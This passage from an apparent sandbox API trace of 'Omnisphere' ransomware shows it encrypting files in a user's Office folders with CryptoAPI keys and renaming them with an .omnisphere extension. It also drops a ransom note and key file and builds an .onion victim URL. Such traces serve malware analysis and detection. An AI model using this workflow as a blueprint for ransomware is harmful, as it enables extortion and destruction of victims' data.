pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.999] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.001] CryptDestroyKey (hKey=0x16397a8) returned 1 [0116.001] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0116.001] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x9362, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0116.001] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0116.002] GetProcessHeap () returned 0x1600000 [0116.002] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x298) returned 0x1690f60 [0116.002] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\mso1033.acl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\mso1033.acl.omnisphere")) returned 1 [0116.005] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.omnisphere.id" [0116.006] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\mso1033.acl.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0116.007] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0116.008] CloseHandle (hObject=0x288) returned 1 [0116.009] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.009] CloseHandle (hObject=0x28c) returned 1 [0116.009] SetEndOfFile (hFile=0x3a0) returned 1 [0116.010] FlushFileBuffers (hFile=0x3a0) returned 1 [0116.031] CloseHandle (hObject=0x3a0) returned 1 [0116.031] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office") returned 1 [0116.031] GetProcessHeap () returned 0x1600000 [0116.031] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1691200 [0116.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.032] GetProcessHeap () returned 0x1600000 [0116.032] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f080 [0116.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f080, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.032] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.032] GetProcessHeap () returned 0x1600000 [0116.032] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16874c8 [0116.032] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16874c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.032] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.032] GetProcessHeap () returned 0x1600000 [0116.032] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x16564d8 [0116.032] PathCombineW (in: pszDest=0x16564d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\!DECRYPT_OMNISPHERE.txt" [0116.032] GetProcessHeap () returned 0x1600000 [0116.032] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168fd58 [0116.032] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.035] WriteFile (in: hFile=0x3a0, lpBuffer=0x168fd58*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x168fd58*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0116.036] CloseHandle (hObject=0x3a0) returned 1 [0116.036] GetProcessHeap () returned 0x1600000 [0116.036] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691200 | out: hHeap=0x1600000) returned 1 [0116.037] GetProcessHeap () returned 0x1600000 [0116.037] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x165e368 [0116.037] PathCombineW (in: pszDest=0x165e368, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\unique_decrypt.key" [0116.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.037] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0116.038] CloseHandle (hObject=0x3a0) returned 1 [0116.039] GetProcessHeap () returned 0x1600000 [0116.039] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e368 | out: hHeap=0x1600000) returned 1 [0116.039] GetProcessHeap () returned 0x1600000 [0116.039] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633498 | out: hHeap=0x1600000) returned 1 [0116.039] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Recent", cAlternateFileName="")) returned 1 [0116.039] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Recent", cAlternateFileName="")) returned 0 [0116.039] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0116.039] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x26435e89, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26435e89, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0116.040] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x26435e89, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26435e89, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0116.040] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2641bfab, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2641bfab, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x26435e89, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0116.040] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2f2525a, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x263e9bff, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9886, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="MSO1033.acl.omnisphere", cAlternateFileName="MSO103~1.OMN")) returned 1 [0116.040] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263e9bff, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x263e9bff, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x263e9bff, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="MSO1033.acl.omnisphere.id", cAlternateFileName="MSO103~1.ID")) returned 1 [0116.040] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Recent", cAlternateFileName="")) returned 1 [0116.040] GetProcessHeap () returned 0x1600000 [0116.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x16688a0 [0116.040] PathCombineW (in: pszDest=0x16688a0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office", pszFile="Recent" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent" [0116.040] GetProcessHeap () returned 0x1600000 [0116.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x82) returned 0x16331c8 [0116.040] PathCombineW (in: pszDest=0x16331c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*" [0116.040] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0116.043] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15925c1b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xee8b468d, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee8b468d, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="..", cAlternateFileName="")) returned 1 [0116.043] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7631bb1a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x764e57d2, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x764e57d2, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0xd4, cFileName="con2.LNK", cAlternateFileName="")) returned 1 [0116.043] GetProcessHeap () returned 0x1600000 [0116.043] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x90) returned 0x167bad0 [0116.043] PathCombineW (in: pszDest=0x167bad0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="con2.LNK" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\con2.LNK") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\con2.LNK" [0116.043] StrStrW (lpFirst=".omnisphere", lpSrch=".LNK") returned 0x0 [0116.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\con2.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\con2.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.045] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=282) returned 1 [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.045] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] GetTickCount () returned 0x115d03d [0116.046] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669120) returned 1 [0116.047] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0116.047] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0116.047] CryptDestroyKey (hKey=0x1639868) returned 1 [0116.047] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0116.047] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11a, lpName=0x0) returned 0x288 [0116.047] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11a) returned 0x1480000 [0116.048] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668c58) returned 1 [0116.048] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0116.048] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0116.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0116.048] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.049] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.050] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.050] CryptDestroyKey (hKey=0x1639b68) returned 1 [0116.050] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0116.050] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x11a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0116.050] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0116.052] GetProcessHeap () returned 0x1600000 [0116.052] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a0) returned 0x1691200 [0116.052] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\con2.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\con2.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\con2.LNK.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\con2.lnk.omnisphere")) returned 1 [0116.053] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\con2.LNK.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\con2.LNK.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\con2.LNK.omnisphere.id" [0116.053] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\con2.LNK.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\con2.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0116.053] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, 